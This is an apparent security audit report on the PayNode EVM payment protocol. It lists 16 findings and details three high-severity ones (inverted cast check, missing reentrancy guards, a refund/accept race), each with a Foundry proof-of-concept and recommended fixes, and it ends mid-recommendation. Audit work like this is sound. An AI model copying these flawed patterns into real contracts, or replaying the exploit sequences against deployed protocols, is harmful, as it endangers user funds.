PayNode SMART CONTRACTS AUDITS REPORT

By Guild Academy

Introduction

Audit Overview

PayNode is a sophisticated non-custodial payment aggregation protocol built on the Ethereum Virtual Machine (EVM). It facilitates intelligent, parallel settlement routing for off-chain liquidity providers, ensuring efficient and secure transactions.

Summary of Findings

Severity breakdown

A total of **16** issues were identified and categorized based on severity

- **3 High severity**
- **2 Medium severity**
- **7 Low severity**
- **3 Informational**

ID	Title	Severity
H-01	Inverted Logic in safeCastToUint96 Causes Complete Governance DOS	High
H-02	Missing Reentrancy Guard Implementation in PayNodeAccessManager Causes Complete Protocol DOS	High
H-03	Order Status Transition Race Condition Allows State Corruption After Refund	High
M-01	Missing Capacity Reservation in createProposal Enables Race Condition	Medium
M-02	No Integrator Validation in createOrder Allows Fee Bypass and Theft	Medium
L-01	Array Out of Bounds in getAccountRoles Causes Complete Function DOS	Low
L-02	Message Hash Not Stored in Order Struct	Low
L-03	Incorrect Event Emission in initialize() Causes Off-Chain Monitoring Discrepancy	Low

ID	Title	Severity
L-04	Zero-Value Token Transfers May Cause DOS	Low
L-05	CEI Pattern Violation in executeSettlement Enables Reentrancy Double-Spend	Low
L-06	Unbounded Loop DOS in Upgrade Queue Management	Low
L-07	Intent Capacity Can Be Arbitrarily Inflated via releaseIntent	Low
L-08	Order Stuck in PROPOSED Status After All Proposals Fail	Low
I-01	Minimum Order Amount Too Low Enables Spam Attacks	Informational
I-02	Invalid bytes32 Length Check in createOrder Allows Zero Message Hash	Informational
I-03	Integrator Statistics Never Updated (Broken Tracking System)	Informational

Findings

H-1: Inverted Logic in safeCastToUint96 Causes Complete Governance DOS

Summary

The `safeCastToUint96()` function in `PayNodeAdmin.sol` contains inverted validation logic that causes it to always revert on valid inputs. This completely breaks the timelock governance system, preventing all contract upgrades and role changes.

Vulnerability Detail

The `safeCastToUint96()` function has an inverted condition:

```
function safeCastToUint96(uint256 value) internal pure returns (uint96) {
    if(value <= type(uint96).max) revert ValueTooLargeForuint96();
    return uint96(value);
}
```

The condition checks `value <= type(uint96).max` and reverts, when it should check `value > type(uint96).max`. This means:

- Valid inputs (any timestamp within uint96 bounds) will always revert
- Invalid inputs (values exceeding uint96.max) will pass and silently truncate

This function is called in two critical governance functions:

1. `scheduleUpgrade()` at line 204:

```
uint96 scheduledTime = safeCastToUint96(block.timestamp + MIN_DELAY);
```

2. `scheduleRoleChange()` at line 355:

```
uint96 scheduledTime = safeCastToUint96(block.timestamp + MIN_DELAY);
```

Since `block.timestamp + MIN_DELAY` (current time + 2 days) is always a valid uint96 value (well below `type(uint96).max = 79228162514264337593543950335`), both functions will always revert.

Impact

Governance System Failure:

1. No Contract Upgrades: Cannot schedule upgrades for PGateway, PAccessManager, PGatewaySettings, or any other proxy contract
2. No Role Changes: Cannot grant or revoke admin roles, preventing emergency response capabilities
3. Permanent Lockout: The protocol is frozen in its current state with no upgrade path
4. No Recovery: Time progression does not help - the issue is intrinsic to the code logic

This effectively renders the entire timelock governance system non-functional from deployment.

Code Snippet

https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/admin/PAdmin.sol#L424-L427

```
// src/admin/PAdmin.sol:424-427
function safeCastToUint96(uint256 value) internal pure returns (uint96) {
    if(value <= type(uint96).max) revert ValueTooLargeForuint96();
    return uint96(value);
}
```

Proof of Concept

Place the POC test in `test/POC_C01_InvertedLogicDOS.t.sol`

Run with:

```
forge test --match-contract POC_C01_InvertedLogicDOS -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/admin/PAdmin.sol";

contract POC_C01_InvertedLogicDOS is Test {
    PayNodeAdmin public admin;
    address public superAdmin;
    address public upgradeAdmin;
    address public chainlinkKeeper;

    function setUp() public {
        superAdmin = makeAddr("superAdmin");
        upgradeAdmin = makeAddr("upgradeAdmin");
        chainlinkKeeper = makeAddr("chainlinkKeeper");

        address[] memory proposers = new address[](1);
        proposers[0] = upgradeAdmin;

        address[] memory executors = new address[](1);
        executors[0] = upgradeAdmin;

        admin = new PayNodeAdmin(
            proposers,
            executors,
            superAdmin,
            upgradeAdmin,
            chainlinkKeeper
        );
    }

    function test_InvertedLogicProof() public {
        uint256 currentTime = block.timestamp;
        uint256 scheduledTime = currentTime + admin.MIN_DELAY();
        uint256 maxUint96 = type(uint96).max;

        assertEq(admin.MIN_DELAY(), 2 days);
        assertTrue(scheduledTime <= maxUint96);
        assertTrue(scheduledTime > 0);

        address proxy = makeAddr("proxy");
        address implementation = makeAddr("implementation");

        vm.prank(upgradeAdmin);
        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(proxy, implementation);
    }
    function test_CompleteGovernanceLockout() public {
        address gatewayProxy = makeAddr("gatewayProxy");
        address accessManagerProxy = makeAddr("accessManagerProxy");
        address settingsProxy = makeAddr("settingsProxy");

        address gatewayImpl = makeAddr("gatewayImpl");
        address accessManagerImpl = makeAddr("accessManagerImpl");
        address settingsImpl = makeAddr("settingsImpl");

        address emergencyAdmin = makeAddr("emergencyAdmin");
        address securityOfficer = makeAddr("securityOfficer");
        address platformManager = makeAddr("platformManager");

        vm.startPrank(upgradeAdmin);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(gatewayProxy, gatewayImpl);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(accessManagerProxy, accessManagerImpl);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(settingsProxy, settingsImpl);

        bytes32 defaultAdminRole = admin.DEFAULT_ADMIN_ROLE();
        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleRoleChange(emergencyAdmin, defaultAdminRole, true);

        bytes32 adminRole = admin.ADMIN_ROLE();
        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleRoleChange(securityOfficer, adminRole, true);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleRoleChange(platformManager, adminRole, false);

        address[] memory queue = admin.getUpgradeQueue();
        assertEq(queue.length, 0);

        vm.stopPrank();
    }

    function test_PermanentDOS() public {
        address proxy = makeAddr("proxy");
        address implementation = makeAddr("implementation");

        vm.startPrank(upgradeAdmin);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(proxy, implementation);

        vm.warp(block.timestamp + 30 days);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(proxy, implementation);
        vm.warp(block.timestamp + 365 days);

        vm.expectRevert(PayNodeAdmin.ValueTooLargeForuint96.selector);
        admin.scheduleUpgrade(proxy, implementation);

        address[] memory queue = admin.getUpgradeQueue();
        assertEq(queue.length, 0);

        vm.stopPrank();
    }
}
```

Recommendation

Fix the inverted condition:

```
function safeCastToUint96(uint256 value) internal pure returns (uint96) {
    if(value > type(uint96).max) revert ValueTooLargeForuint96();
    return uint96(value);
}
```

Alternatively, use OpenZeppelin's SafeCast library:

```
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";

uint96 scheduledTime = SafeCast.toUint96(block.timestamp + MIN_DELAY);
```

H-2 Missing Reentrancy Guard Implementation in PayNodeAccessManager Causes Complete Protocol DOS

Summary

The `IPayNodeAccessManager` interface defines three critical reentrancy protection functions, but none of them are implemented in the `PayNodeAccessManager` contract. The `PGateway` contract calls these functions 17 times across critical operations, causing all calls to revert when deployed with the real AccessManager. This results in a complete DOS of the entire PayNode protocol.

Vulnerability Detail

The `IPayNodeAccessManager` interface (lines 274-304) defines:

```
function executeNonReentrant(address caller, bytes32 role) external
returns (bool success);
function executeProviderNonReentrant(address caller) external returns
(bool success);
function executeAggregatorNonReentrant(address caller) external returns
(bool success);
```

However, none of these functions are implemented in `PayNodeAccessManager.sol`. The contract inherits `ReentrancyGuardUpgradeable` but never uses it to implement these interface methods.

The `PGateway` contract relies extensively on these functions:

Function	Line	Guard Called
`pause()`	393	`executeNonReentrant`
`unpause()`	400	`executeNonReentrant`
`registerIntent()`	429	`executeProviderNonReentrant`
`updateIntent()`	464	`executeProviderNonReentrant`
`expireIntent()`	480	`executeAggregatorNonReentrant`
`reserveIntent()`	493	`executeAggregatorNonReentrant`
`releaseIntent()`	507	`executeAggregatorNonReentrant`
`createOrder()`	592	`executeNonReentrant`
`createProposal()`	659	`executeAggregatorNonReentrant`
`acceptProposal()`	691	`executeProviderNonReentrant`
`rejectProposal()`	710	`executeProviderNonReentrant`
`timeoutProposal()`	723	`executeAggregatorNonReentrant`
`executeSettlement()`	763	`executeAggregatorNonReentrant`
`refundOrder()`	802	`executeAggregatorNonReentrant`
`requestRefund()`	817	`executeNonReentrant`
`flagFraudulent()`	849	`executeAggregatorNonReentrant`
`blacklistProvider()`	861	`executeNonReentrant`

When any of these functions are called:

```
if (!accessManager.executeNonReentrant(msg.sender, bytes32(0))) revert
Unauthorized();
```

The call to `executeNonReentrant()` will revert because the function does not exist in `PayNodeAccessManager`.

Impact

Complete Protocol DOS:

1. No Order Creation: Users cannot create orders (`createOrder` reverts)
2. No Provider Registration: Providers cannot register intents (`registerIntent` reverts)
3. No Settlement Execution: Orders cannot be settled (`executeSettlement` reverts)
4. No Refunds: Users cannot request refunds (`requestRefund` reverts)
5. No Admin Controls: Cannot pause/unpause or blacklist (`pause`, `blacklistProvider` revert)
6. Total Unusability: All 17 core functions in PGateway are non-functional

The protocol is completely unusable from deployment when using the real `PayNodeAccessManager`.

Secondary Impact - Reentrancy Vulnerability:

If these functions were implemented (as in the test mock), the current design pattern is fundamentally flawed:

```
// MockAccessManager implementation
function executeNonReentrant(address caller, bytes32 role) external
returns (bool) {
    if (reentrancyLock) return false;
    reentrancyLock = true;
    reentrancyLock = false;  // BUG: Released immediately!
    return true;
}
```

The lock is released before returning to PGateway, providing zero reentrancy protection. Additionally, `executeSettlement()` violates the Checks-Effects-Interactions pattern by performing token transfers (lines 776-778) before state updates (lines 780-781).

Code Snippet

Interface Definition IAccessManager.sol:274-304:

```
function executeNonReentrant(address caller, bytes32 role) external
returns (bool success);
function executeProviderNonReentrant(address caller) external returns
(bool success);
function executeAggregatorNonReentrant(address caller) external returns
(bool success);
```

Missing Implementation PAccessManager.sol: The entire `PayNodeAccessManager` contract does not contain any implementation of these three functions.

Usage in PGateway (example from createOrder):

```
// PGateway.sol:592
if (!accessManager.executeNonReentrant(msg.sender, bytes32(0))) revert
Unauthorized();
```

Proof of Concept

Place the following test in `test/POC_C02_ReentrancyAttack.t.sol`

Run with:

```
forge test --match-contract POC_C02_ReentrancyAttack -vv
```

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "../src/access/PAccessManager.sol";
import "../src/interface/IAccessManager.sol";
import "./mocks/MockAccessManager.sol";
import "./mocks/MockERC20.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract POC_C02_ReentrancyAttack is Test {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockERC20 public token;

    address public admin;
    address public aggregator;
    address public provider;
    address public user;
    address public treasury;

    function setUp() public {
        admin = makeAddr("admin");
        aggregator = makeAddr("aggregator");
        provider = makeAddr("provider");
        user = makeAddr("user");
        treasury = makeAddr("treasury");
        vm.startPrank(admin);

        accessManager = new MockAccessManager(admin);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            PGatewayStructs.InitiateGatewaySettingsParams({
                initialOwner: admin,
                treasury: treasury,
                aggregator: aggregator,
                protocolFee: 100,
                alphaLimit: 3000e18,
                betaLimit: 5000e18,
                deltaLimit: 7000e18,
                integrator: admin,
                integratorFee: 50,
                omegaLimit: 10000e18,
                titanLimit: 50000e18,
                orderExpiryWindow: 1 hours,
                proposalTimeout: 30 minutes,
                intentExpiry: 10 minutes
            })
        );

        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );

        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));

        token = new MockERC20("USDT", "USDT");
        settings.setSupportedToken(address(token), true);

        vm.stopPrank();

        token.mint(user, 1000000e18);
    }

    function test_POC_Real_AccessManager_Missing_Functions_Causes_DOS()
public {
        PayNodeAccessManager realAccessManager = new
```

```
PayNodeAccessManager();

        address operator = makeAddr("operator");
        address[] memory operators = new address[](1);
        operators[0] = operator;

        bytes memory initData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            admin,
            admin,
            operators
        );

        ERC1967Proxy accessProxy = new
ERC1967Proxy(address(realAccessManager), initData);

        vm.expectRevert();

IPayNodeAccessManager(address(accessProxy)).executeNonReentrant(user,
bytes32(0));

        vm.expectRevert();

IPayNodeAccessManager(address(accessProxy)).executeProviderNonReentrant(us
er);

        vm.expectRevert();

IPayNodeAccessManager(address(accessProxy)).executeAggregatorNonReentrant(
user);
    }

    function test_POC_PGateway_Unusable_With_Real_AccessManager() public {
        PayNodeAccessManager realAccessManager = new
PayNodeAccessManager();

        address operator = makeAddr("operator");
        address[] memory operators = new address[](1);
        operators[0] = operator;

        bytes memory amInitData = abi.encodeWithSelector(
            PayNodeAccessManager.initialize.selector,
            admin,
            admin,
            operators
        );

        ERC1967Proxy amProxy = new
ERC1967Proxy(address(realAccessManager), amInitData);

        PGateway gatewayImpl = new PGateway();
        bytes memory gwInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(amProxy),
            address(settings)
        );

        ERC1967Proxy gwProxy = new ERC1967Proxy(address(gatewayImpl),
gwInitData);
        PGateway realGateway = PGateway(address(gwProxy));

        vm.startPrank(user);
        token.approve(address(realGateway), 10000e18);

        vm.expectRevert();
        realGateway.createOrder(
            address(token),
            1000e18,
            user,
            admin,
            50,
            keccak256("test_order")
        );
        vm.stopPrank();
    }

    function test_POC_MockAccessManager_Guard_Design_Flaw() public {
        bool result1 = accessManager.executeNonReentrant(user,
bytes32(0));
        bool result2 = accessManager.executeNonReentrant(user,
bytes32(0));
        bool result3 = accessManager.executeNonReentrant(user,
bytes32(0));

        assertTrue(result1, "First call should succeed");
        assertTrue(result2, "Second call should succeed - lock was
released!");
        assertTrue(result3, "Third call should succeed - lock was
released!");
    }

    function test_POC_ExecuteSettlement_Violates_CEI() public {
        vm.startPrank(user);
        token.approve(address(gateway), 10000e18);
        gateway.registerAsIntegrator(50, "Test Integrator");

        bytes32 orderId = gateway.createOrder(
            address(token),
            10000e18,
            user,
            user,
            50,
            keccak256("order1")
        );
        vm.stopPrank();

        vm.prank(provider);
        gateway.registerIntent("USD", 1000000e18, 50, 500, 30 minutes);
        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
100);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        gateway.executeSettlement(proposalId);
    }
}
```

Recommendation

1. Implement the missing functions in `PayNodeAccessManager`:

```
mapping(address => bool) private _nonReentrantLock;

modifier nonReentrantFor(address caller) {
    require(!_nonReentrantLock[caller], "ReentrancyGuard: reentrant
call");
    _nonReentrantLock[caller] = true;
    _;
    _nonReentrantLock[caller] = false;
}

function executeNonReentrant(address caller, bytes32 role)
    external
    nonReentrantFor(caller)
    returns (bool)
{
    if (role != bytes32(0) && !hasRole(role, caller)) return false;
    return true;
}

function executeProviderNonReentrant(address caller)
    external
    nonReentrantFor(caller)
    returns (bool)
{
    if (isBlacklisted[caller]) return false;
    return true;
}

function executeAggregatorNonReentrant(address caller)
    external
    nonReentrantFor(caller)
    returns (bool)
{
    if (!hasRole(AGGREGATOR_ROLE, caller)) return false;
```

```
        return true;
    }
```

2. Alternative: Use OpenZeppelin's ReentrancyGuard directly in PGateway instead of delegating to AccessManager:

```
import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-
upgradeable/utils/ReentrancyGuardUpgradeable.sol";

contract PGateway is ReentrancyGuardUpgradeable {
    function createOrder(...) external nonReentrant {
        // ...
    }
}
```

3. Fix CEI violations in `executeSettlement()`:

```
function executeSettlement(bytes32 _proposalId) external onlyAggregator {
    // ... checks ...

    // EFFECTS first
    proposalExecuted[_proposalId] = true;
    order.status = PGatewayStructs.OrderStatus.FULFILLED;

    // INTERACTIONS last
    IERC20(order.token).safeTransfer(settings.treasuryAddress(),
protocolFee);
    IERC20(order.token).safeTransfer(order.integrator, integratorFee);
    IERC20(order.token).safeTransfer(proposal.provider, providerAmount);
}
```

H-3: Order Status Transition Race Condition Allows State Corruption After Refund

Summary

A race condition exists between `requestRefund()` and `acceptProposal()` that allows providers to accept proposals on orders that have already been refunded. The `acceptProposal()` function does not validate the order status before overwriting it, leading to state corruption where an order is marked as `ACCEPTED` despite funds having already been transferred back to the user.

Vulnerability Details

The vulnerability stems from two issues:

1. `requestRefund()` allows users to request refunds for orders in `PROPOSED` status after order expiry
2. `acceptProposal()` does not check the order status before setting it to `ACCEPTED`

In `requestRefund()` (lines 816-829): https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L816-L829

```
function requestRefund(bytes32 _orderId) external validOrder(_orderId) {
    // ...
    if (
        order.status != PGatewayStructs.OrderStatus.PENDING &&
        order.status != PGatewayStructs.OrderStatus.PROPOSED  // Allows
refund during active proposals
    ) revert InvalidOrder();
    if (block.timestamp <= order.expiresAt) revert OrderNotExpired();

    order.status = PGatewayStructs.OrderStatus.CANCELLED;
    IERC20(order.token).safeTransfer(order.refundAddress, order.amount);
    // ...
}
```

In `acceptProposal()` (lines 690-704): https://github.com/olujimiAdebakin/paynode-contract/blob/main/src/gateway/PGateway.sol#L690-L704

```
function acceptProposal(bytes32 _proposalId) external onlyProvider
whenNotPaused {
    // ...
    if (proposal.status != PGatewayStructs.ProposalStatus.PENDING) revert
InvalidProposal();
    if (block.timestamp >= proposal.proposalDeadline) revert
InvalidProposal();

    proposal.status = PGatewayStructs.ProposalStatus.ACCEPTED;
    PGatewayStructs.Order storage order = orders[proposal.orderId];
    order.status = PGatewayStructs.OrderStatus.ACCEPTED;  // No order
status validation!
    order.acceptedProposalId = _proposalId;
    order.fulfilledByProvider = msg.sender;
    // ...
}
```

The timing window for exploitation exists because:

- Order expiry window: 1 hour (3600 seconds)
- Proposal timeout: 30 minutes (1800 seconds)

When a proposal is created near the end of the order expiry window, the proposal deadline can extend beyond the order expiry time:

```
Timeline Example:
- T=1: Order created, expires at T=3601
- T=1901: Proposal created, deadline = T=3701
- T=3602: Order expired (refundable) BUT proposal still valid (deadline
not reached)
```

Impact

1. State Corruption: Orders are marked as `ACCEPTED` after funds have been refunded, creating an inconsistent state between order status and actual fund location
2. Settlement Failure: `executeSettlement()` will always revert for these corrupted orders as no funds exist in the contract to transfer
3. Provider Capacity Lock: When `reserveIntent()` is called before proposal creation, the provider's capacity remains permanently locked since no settlement or proper cleanup occurs
4. Multiple Provider Impact: Multiple providers can accept proposals on the same refunded order, all resulting in failed settlements
5. Protocol Fee Loss: Treasury, integrator, and provider receive no fees from orders that exploit this vulnerability

Proof of Concept

Save this POC in: `test/POC_M07_OrderStatusRaceCondition.t.sol`

Run with: `forge test --match-test test_RaceCondition_StateCorruptionAndFundsDrained -vv`

POC Code

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "../src/gateway/PGateway.sol";
import "../src/gateway/PGatewaySettings.sol";
import "../src/gateway/PGatewayStructs.sol";
import "./mocks/MockERC20.sol";
import "./mocks/MockAccessManager.sol";
import "./utils/TestConstants.sol";
import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract POC_M07_OrderStatusRaceCondition is Test, TestConstants {
    PGateway public gateway;
    PGatewaySettings public settings;
    MockAccessManager public accessManager;
    MockERC20 public mockToken;
    address public owner = address(0x1);
    address public treasury = address(0x2);
    address public aggregator = address(0x3);
    address public integrator = address(0x4);
    address public user = address(0x5);
    address public provider = address(0x6);

    uint256 public constant ORDER_AMOUNT = 5000 ether;
    uint256 public constant LARGE_CAPACITY = 20000 ether;

    function setUp() public {
        vm.deal(owner, 100 ether);
        vm.deal(user, 100 ether);
        vm.deal(provider, 100 ether);

        accessManager = new MockAccessManager(owner);
        mockToken = new MockERC20("Test Token", "TEST");

        PGatewayStructs.InitiateGatewaySettingsParams memory
settingsParams = PGatewayStructs.InitiateGatewaySettingsParams({
            initialOwner: owner,
            treasury: treasury,
            aggregator: aggregator,
            integrator: integrator,
            protocolFee: PROTOCOL_FEE,
            integratorFee: INTEGRATOR_FEE,
            orderExpiryWindow: ORDER_EXPIRY,
            proposalTimeout: PROPOSAL_TIMEOUT,
            intentExpiry: INTENT_EXPIRY,
            alphaLimit: ALPHA_LIMIT,
            betaLimit: BETA_LIMIT,
            deltaLimit: DELTA_LIMIT,
            omegaLimit: OMEGA_LIMIT,
            titanLimit: TITAN_LIMIT
        });

        PGatewaySettings settingsImpl = new PGatewaySettings();
        bytes memory settingsInitData = abi.encodeWithSelector(
            PGatewaySettings.initialize.selector,
            settingsParams
        );
        ERC1967Proxy settingsProxy = new
ERC1967Proxy(address(settingsImpl), settingsInitData);
        settings = PGatewaySettings(address(settingsProxy));

        PGateway gatewayImpl = new PGateway();
        bytes memory gatewayInitData = abi.encodeWithSelector(
            PGateway.initialize.selector,
            address(accessManager),
            address(settings)
        );
        ERC1967Proxy gatewayProxy = new ERC1967Proxy(address(gatewayImpl),
gatewayInitData);
        gateway = PGateway(address(gatewayProxy));
        vm.startPrank(owner);
        accessManager.grantRole(accessManager.AGGREGATOR_ROLE(),
aggregator);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider);
        settings.setSupportedToken(address(mockToken), true);
        vm.stopPrank();

        mockToken.mint(user, ORDER_AMOUNT * 5);

        vm.prank(integrator);
        gateway.registerAsIntegrator(INTEGRATOR_FEE, "TestIntegrator");

        vm.prank(provider);
        gateway.registerIntent(TEST_CURRENCY, LARGE_CAPACITY, 100, 500,
60);
    }

    function test_RaceCondition_StateCorruptionAndFundsDrained() public {
        vm.startPrank(user);
        mockToken.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(mockToken),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE,
            keccak256("order_race_1")
        );
        vm.stopPrank();

        uint256 userBalanceBeforeRefund = mockToken.balanceOf(user);
        assertEq(mockToken.balanceOf(address(gateway)), ORDER_AMOUNT);

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        vm.warp(order.expiresAt - PROPOSAL_TIMEOUT + 100);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
200);

        PGatewayStructs.SettlementProposal memory proposal =
gateway.getProposal(proposalId);
        assertGt(proposal.proposalDeadline, order.expiresAt);

        vm.warp(order.expiresAt + 1);

        vm.prank(user);
        gateway.requestRefund(orderId);

        assertEq(mockToken.balanceOf(user), userBalanceBeforeRefund +
ORDER_AMOUNT);
        assertEq(mockToken.balanceOf(address(gateway)), 0);
        assertEq(uint(gateway.getOrder(orderId).status),
uint(PGatewayStructs.OrderStatus.CANCELLED));

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        PGatewayStructs.Order memory corruptedOrder =
gateway.getOrder(orderId);
        assertEq(uint(corruptedOrder.status),
uint(PGatewayStructs.OrderStatus.ACCEPTED));
        assertEq(corruptedOrder.fulfilledByProvider, provider);

        assertEq(uint(gateway.getProposal(proposalId).status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(mockToken.balanceOf(address(gateway)), 0);

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId);
    }

    function test_ProviderCapacityPermanentlyLocked() public {
        PGatewayStructs.ProviderIntent memory intentBefore =
gateway.getProviderIntent(provider);
        uint256 initialCapacity = intentBefore.availableAmount;

        vm.startPrank(user);
        mockToken.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(mockToken),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE,
            keccak256("order_race_2")
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        vm.warp(order.expiresAt - PROPOSAL_TIMEOUT + 100);

        vm.startPrank(aggregator);
        gateway.reserveIntent(provider, ORDER_AMOUNT);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
200);
        vm.stopPrank();

        assertEq(gateway.getProviderIntent(provider).availableAmount,
initialCapacity - ORDER_AMOUNT);

        vm.warp(order.expiresAt + 1);

        vm.prank(user);
        gateway.requestRefund(orderId);
        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId);

        assertEq(gateway.getProviderIntent(provider).availableAmount,
initialCapacity - ORDER_AMOUNT);
    }

    function test_MultipleProvidersAffected() public {
        address provider2 = address(0x7);
        vm.deal(provider2, 100 ether);

        vm.startPrank(owner);
        accessManager.grantRole(accessManager.PROVIDER_ROLE(), provider2);
        vm.stopPrank();

        vm.prank(provider2);
        gateway.registerIntent(TEST_CURRENCY, LARGE_CAPACITY, 50, 300,
60);

        vm.startPrank(user);
        mockToken.approve(address(gateway), ORDER_AMOUNT);
        bytes32 orderId = gateway.createOrder(
            address(mockToken),
            ORDER_AMOUNT,
            user,
            integrator,
            INTEGRATOR_FEE,
            keccak256("order_race_3")
        );
        vm.stopPrank();

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        vm.warp(order.expiresAt - PROPOSAL_TIMEOUT + 100);

        vm.startPrank(aggregator);
        bytes32 proposalId1 = gateway.createProposal(orderId, provider,
200);
        bytes32 proposalId2 = gateway.createProposal(orderId, provider2,
100);
        vm.stopPrank();

        vm.warp(order.expiresAt + 1);

        vm.prank(user);
        gateway.requestRefund(orderId);

        vm.prank(provider);
        gateway.acceptProposal(proposalId1);

        vm.prank(provider2);
        gateway.acceptProposal(proposalId2);

        assertEq(uint(gateway.getProposal(proposalId1).status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(uint(gateway.getProposal(proposalId2).status),
uint(PGatewayStructs.ProposalStatus.ACCEPTED));
        assertEq(gateway.getOrder(orderId).fulfilledByProvider,
provider2);
        assertEq(mockToken.balanceOf(address(gateway)), 0);

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId1);

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId2);
    }

    function test_TitanTierMaximumFinancialImpact() public {
        uint256 titanOrderAmount = 12000 ether;
        mockToken.mint(user, titanOrderAmount);

        vm.startPrank(user);
        mockToken.approve(address(gateway), titanOrderAmount);
        bytes32 orderId = gateway.createOrder(
            address(mockToken),
            titanOrderAmount,
            user,
            integrator,
            INTEGRATOR_FEE,
            keccak256("order_titan")
        );
        vm.stopPrank();

        assertEq(uint(gateway.getOrder(orderId).tier),
uint(PGatewayStructs.OrderTier.TITAN));

        uint256 userBalanceBefore = mockToken.balanceOf(user);
        uint256 treasuryBalanceBefore = mockToken.balanceOf(treasury);
        uint256 integratorBalanceBefore = mockToken.balanceOf(integrator);
        uint256 providerBalanceBefore = mockToken.balanceOf(provider);

        PGatewayStructs.Order memory order = gateway.getOrder(orderId);
        vm.warp(order.expiresAt - PROPOSAL_TIMEOUT + 100);

        vm.prank(aggregator);
        bytes32 proposalId = gateway.createProposal(orderId, provider,
200);

        vm.warp(order.expiresAt + 1);

        vm.prank(user);
        gateway.requestRefund(orderId);
        assertEq(mockToken.balanceOf(user), userBalanceBefore +
titanOrderAmount);

        vm.prank(provider);
        gateway.acceptProposal(proposalId);

        assertEq(uint(gateway.getOrder(orderId).status),
uint(PGatewayStructs.OrderStatus.ACCEPTED));

        vm.prank(aggregator);
        vm.expectRevert();
        gateway.executeSettlement(proposalId);

        assertEq(mockToken.balanceOf(treasury), treasuryBalanceBefore);
        assertEq(mockToken.balanceOf(integrator),
integratorBalanceBefore);
        assertEq(mockToken.balanceOf(provider), providerBalanceBefore);
    }
}
```

Recommendation

Add order status validation in `acceptProposal()`:

```
function acceptProposal(bytes32 _proposalId) external onlyProvider
whenNotPaused {
    if (!accessManager.executeProviderNonReentrant(msg.sender)) revert
InvalidProvider();
    PGatewayStructs.SettlementProposal storage proposal =
proposals[_proposalId];
    if (proposal.provider != msg.sender) revert Unauthorized();
    if (proposal.status != PGatewayStructs.ProposalStatus.PENDING) revert
InvalidProposal();
    if (block.timestamp >= proposal.proposalDeadline) revert
InvalidProposal();

    PGatewayStructs.Order storage order = orders[proposal.orderId];

    // Add order status validation
    if (order.status != PGatewayStructs.OrderStatus.PROPOSED) revert
InvalidOrder();

    proposal.status = PGatewayStructs.ProposalStatus.ACCEPTED;
    order.status = PGatewayStructs.OrderStatus.ACCEPTED;
    order.acceptedProposalId = _proposalId;
    order.fulfilledByProvider = msg.sender;

    emit SettlementProposalAccepted(_proposalId, proposal.orderId,
msg.sender, block.timestamp);
}
```

Alternatively, prevent refunds once proposals exist:

```
